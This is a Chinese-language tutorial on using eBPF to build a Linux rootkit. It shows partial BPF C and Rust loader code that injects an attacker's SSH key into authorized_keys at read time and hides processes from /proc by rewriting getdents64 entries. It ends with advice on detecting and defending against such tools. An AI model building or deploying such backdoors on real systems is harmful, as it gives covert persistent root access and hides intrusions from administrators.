如何借助eBPF打造隐蔽的后门
字数 1707 2025-08-25 22:58:35
利用eBPF技术打造隐蔽后门的技术指南
eBPF技术基础
eBPF技术简介
eBPF(extended Berkeley Packet Filter)是一种革命性的Linux内核技术,允许用户在不修改内核源代码或加载内核模块的情况下,在内核中运行沙盒程序。其核心特点包括:
- 事件驱动架构:eBPF程序由特定事件触发执行,如系统调用、内核跟踪点、网络事件等
- 安全执行环境:所有eBPF程序必须通过严格的验证器检查才能执行
- 高性能:通过JIT(Just-In-Time)编译为原生机器码执行
- 灵活性:支持内核态插桩(kprobe)和用户态插桩(uprobe)
eBPF工作原理
-
程序加载流程:
- 用户空间程序将BPF字节码通过
bpf系统调用提交给内核 - 内核验证器检查字节码安全性
- JIT编译器将字节码转换为原生机器码
- 程序挂载到指定hook点
- 用户空间程序将BPF字节码通过
-
安全限制:
- 只有特权进程可执行bpf系统调用
- 禁止无限循环
- 必须在有限时间内完成
- 栈空间限制为512字节
- 只能调用预定义的辅助函数
-
通信机制:
- 通过eBPF Map实现内核与用户空间的双向通信
- 支持多种Map类型(哈希表、数组、环形缓冲区等)
SSHD后门实现
技术原理
通过hook openat和read系统调用,在sshd读取authorized_keys文件时注入攻击者的公钥,实现隐蔽的SSH访问。
实现步骤
-
Hook openat系统调用:
- 在
sys_enter_openat时检查进程名是否为"sshd" - 验证打开的文件路径是否为
/root/.ssh/authorized_keys - 记录进程PID和文件描述符
- 在
-
Hook read系统调用:
- 在
sys_enter_read时检查文件描述符是否匹配 - 记录读取缓冲区的地址和大小
- 在
sys_exit_read时使用bpf_probe_write_user修改缓冲区内容
- 在
-
数据传递:
- 使用eBPF Map存储进程PID、文件描述符和缓冲区信息
- 用户空间程序通过Map注入攻击者公钥
关键代码实现
// Hook openat系统调用入口
SEC("tp/syscalls/sys_enter_openat")
int handle_openat_enter(struct trace_event_raw_sys_enter *ctx) {
// 检查进程名和文件路径
// 记录PID到Map
}
// Hook openat系统调用退出
SEC("tp/syscalls/sys_exit_openat")
int handle_openat_exit(struct trace_event_raw_sys_exit *ctx) {
// 从Map获取PID
// 记录文件描述符到Map
}
// Hook read系统调用入口
SEC("tracepoint/syscalls/sys_enter_read")
int handle_read_enter(struct trace_event_raw_sys_enter *ctx) {
// 检查文件描述符
// 记录缓冲区地址和大小到Map
}
// Hook read系统调用退出
SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx) {
// 从Map获取缓冲区信息
// 使用bpf_probe_write_user修改内容
// 注入攻击者公钥
}
用户空间实现
使用Rust和libbpf-rs库实现:
fn main() -> Result<(),Error> {
// 编译并加载BPF程序
let mut skel_builder = BackdoorSkelBuilder::default();
let open_skel = skel_builder.open()?;
let mut skel = open_skel.load()?;
// 注入攻击者公钥
let val = CustomPayload::new(b"\nssh-rsa AAAAB3...");
let key = (0 as u8).to_ne_bytes();
skel.maps_mut().map_payload_buffer().update(&key, plain::as_bytes(&val), MapFlags::ANY)?;
// 挂载BPF程序
skel.attach()?;
// 保持程序运行
loop {}
}
进程隐藏技术
技术原理
通过hook getdents64系统调用,修改目录项结构体(linux_dirent64),使特定进程在/proc文件系统中不可见。
实现步骤
-
Hook getdents64系统调用:
- 在
sys_exit_getdents64时检查读取的目录是否为/proc - 遍历
linux_dirent64结构体链表 - 查找目标进程目录项
- 在
-
修改目录项:
- 找到目标目录项后,修改前一项的
d_reclen - 使其跳过目标目录项,直接指向下一项
- 找到目标目录项后,修改前一项的
-
尾调用优化:
- 使用
bpf_tail_call处理大目录 - 将遍历过程拆分为多个步骤
- 使用
关键代码实现
// 主处理函数
SEC("tracepoint/syscalls/sys_exit_getdents64")
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) {
// 遍历目录项
for (int i = 0; i < 128; i++) {
// 检查是否为目标进程
if (匹配目标进程) {
// 跳转到patch函数
bpf_tail_call(ctx, &map_prog_array, PROG_PATCHER);
}
// 更新遍历位置
}
// 处理大目录
if (未完成遍历) {
bpf_tail_call(ctx, &map_prog_array, PROG_HANDLER);
}
}
// 修改目录项函数
SEC("tracepoint/syscalls/sys_exit_getdents64")
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) {
// 获取前后目录项
struct linux_dirent64 *dirp_previous = ...;
struct linux_dirent64 *dirp = ...;
// 修改前一项的d_reclen
short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));
}
用户空间实现
fn main() -> Result<(), Error> {
// 编译并加载BPF程序
let mut builder = FileCloakSkelBuilder::default();
let open_skel = builder.open()?;
// 设置要隐藏的进程目录
let target_folder = "12345"; // 进程ID
open_skel.rodata().file_to_hide_len = target_folder.as_bytes().len() as i32;
open_skel.rodata().file_to_hide[..target_folder.as_bytes().len()].copy_from_slice(target_folder.as_bytes());
// 加载并挂载BPF程序
let mut skel = open_skel.load()?;
skel.attach()?;
// 保持程序运行
loop {}
}
技术优势与限制
优势
-
隐蔽性强:
- 不修改磁盘文件,仅内存操作
- 进程可隐藏,传统检测方法难以发现
- 行为与正常操作无异
-
灵活性高:
- 可定制多种hook点
- 支持动态加载/卸载
- 可与其他技术组合使用
-
性能影响小:
- eBPF程序高效执行
- 仅在有特定事件时触发
限制
-
权限要求:
- 需要root权限加载BPF程序
- 适用于提权后的权限维持
-
兼容性问题:
- 依赖特定内核版本
- 不同内核版本可能需要调整
-
检测可能性:
- BPF程序本身可能被检测
- 需要额外隐蔽技术配合
防御措施
-
监控BPF程序:
- 检查
/sys/fs/bpf下的BPF程序 - 监控
bpf系统调用
- 检查
-
内核完整性检查:
- 使用内核模块签名
- 启用Lockdown模式
-
行为监控:
- 监控异常的系统调用序列
- 检测
authorized_keys的异常访问模式
-
安全加固:
- 限制BPF使用权限
- 使用SELinux/AppArmor限制能力
总结
eBPF技术为系统安全研究提供了强大的工具,既能用于防御也能用于攻击。本文详细介绍了如何利用eBPF实现SSH后门和进程隐藏,展示了eBPF在隐蔽攻击中的潜力。安全研究人员应充分理解这些技术,才能更好地防御此类高级威胁。